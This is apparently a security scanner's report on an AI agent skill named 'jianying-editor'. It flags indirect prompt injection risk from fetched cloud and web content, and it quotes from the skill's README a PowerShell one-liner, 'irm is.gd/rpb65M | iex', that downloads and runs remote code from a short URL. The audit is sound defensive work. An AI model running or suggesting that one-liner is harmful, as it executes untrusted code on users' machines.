jianying-editor

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). The skill explicitly downloads and imports untrusted public/cloud assets (e.g., project.add_cloud_media/add_cloud_music and cloud music indexes in rules/media.md and rules/audio-voice.md), and it supports Web-to-Video recording that can load external CDNs via Playwright (rules/web-vfx.md), so the agent is expected to fetch and act on third‑party web/user-generated content as part of its workflows.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The README includes a PowerShell one‑liner that downloads and executes remote code at install time ("irm is.gd/rpb65M | iex"), which is a runtime fetch that will execute whatever script is hosted at that short URL and is therefore a high-risk external dependency.